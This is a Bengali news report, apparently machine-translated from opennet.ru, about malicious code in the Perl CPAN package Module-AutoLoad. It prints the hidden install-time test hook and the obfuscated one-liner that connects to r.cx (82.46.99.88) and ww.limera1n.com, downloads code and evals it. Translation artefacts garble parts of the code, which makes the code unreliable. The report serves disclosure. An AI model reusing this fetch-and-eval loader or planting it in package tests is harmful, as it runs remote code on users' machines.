মডিউল-অটোলোড পার্ল প্যাকেজে দূষিত কোড পাওয়া গেছে

CPAN ডিরেক্টরির মাধ্যমে বিতরণ করা একটি পার্ল প্যাকেজে মডিউল-অটোলোড, উড়তে স্বয়ংক্রিয়ভাবে CPAN মডিউল লোড করার জন্য ডিজাইন করা হয়েছে, চিহ্নিত দূষিত কোড। দূষিত সন্নিবেশ ছিল পাওয়া গেছে পরীক্ষার কোডে 05_rcx.t, যা 2011 সাল থেকে শিপিং করা হয়েছে।
এটি উল্লেখযোগ্য যে প্রশ্নবিদ্ধ কোড লোড করার বিষয়ে প্রশ্ন উঠেছিল Stackoverflow 2016 সালে ফিরে।

মডিউলটি ইনস্টল করার সময় লঞ্চ করা একটি পরীক্ষা স্যুট কার্যকর করার সময় একটি তৃতীয় পক্ষের সার্ভার (http://r.cx:1/) থেকে কোড ডাউনলোড এবং চালানোর প্রচেষ্টায় ক্ষতিকারক কার্যকলাপ ফুটে ওঠে৷ ধারণা করা হয় যে বাহ্যিক সার্ভার থেকে প্রাথমিকভাবে ডাউনলোড করা কোডটি দূষিত ছিল না, কিন্তু এখন অনুরোধটি ww.limera1n.com ডোমেনে পুনঃনির্দেশিত হয়েছে, যা কার্যকর করার জন্য কোডের তার অংশ প্রদান করে।

একটি ফাইলে ডাউনলোড সংগঠিত করতে 05_rcx.t নিম্নলিখিত কোড ব্যবহার করা হয়:

আমার $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
আমার $try = `$^X $prog`;

নির্দিষ্ট কোডের কারণে স্ক্রিপ্টটি কার্যকর করা হয় ../contrib/RCX.pl, যার বিষয়বস্তু লাইনে ছোট করা হয়েছে:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″} ব্যবহার করুন;

এই স্ক্রিপ্ট লোড হয় বিভ্রান্ত পরিষেবা ব্যবহার করে perlobfuscator.com বাহ্যিক হোস্ট r.cx থেকে কোড (অক্ষর কোড 82.46.99.88 পাঠ্য "R.cX" এর সাথে মিলে যায়) এবং এটি ইভাল ব্লকে কার্যকর করে।

$ perl -MIO::সকেট -e'$b=নতুন IO::সকেট::INET 82.46.99.88.":1″; প্রিন্ট <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

আনপ্যাক করার পরে, নিম্নলিখিতটি শেষ পর্যন্ত কার্যকর করা হয়: কোড:

প্রিন্ট{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";ইভালর রিটার্ন ওয়ার্ন$@while$b;1

সমস্যাযুক্ত প্যাকেজটি এখন সংগ্রহস্থল থেকে সরানো হয়েছে। বিরাম (Perl Authors Upload Server), এবং মডিউল লেখকের অ্যাকাউন্ট ব্লক করা হয়েছে। এই ক্ষেত্রে, মডিউল এখনও অবশেষ উপলব্ধ MetaCPAN সংরক্ষণাগারে এবং কিছু ইউটিলিটি যেমন cpanminus ব্যবহার করে MetaCPAN থেকে সরাসরি ইনস্টল করা যেতে পারে। এটি লক্ষণীয়যে প্যাকেজটি ব্যাপকভাবে বিতরণ করা হয়নি।

আলোচনা করতে আকর্ষণীয় সংযুক্ত এবং মডিউলের লেখক, যিনি তার সাইট "r.cx" হ্যাক হওয়ার পরে দূষিত কোড ঢোকানোর তথ্য অস্বীকার করেছিলেন এবং ব্যাখ্যা করেছিলেন যে তিনি মজা করছেন, এবং perlobfuscator.com ব্যবহার করেছেন কিছু লুকাতে নয়, কিন্তু আকার কমাতে কোডের এবং ক্লিপবোর্ডের মাধ্যমে এর অনুলিপি সহজতর করা। "বটস্ট্র্যাপ" ফাংশন নামের পছন্দটি ব্যাখ্যা করা হয়েছে যে এই শব্দটি "বটের মতো শোনাচ্ছে এবং বুটস্ট্র্যাপের চেয়ে ছোট।" মডিউলটির লেখক আরও আশ্বস্ত করেছেন যে চিহ্নিত ম্যানিপুলেশনগুলি দূষিত ক্রিয়া সম্পাদন করে না, তবে শুধুমাত্র TCP এর মাধ্যমে কোড লোড করা এবং কার্যকর করা প্রদর্শন করে।

উত্স: opennet.ru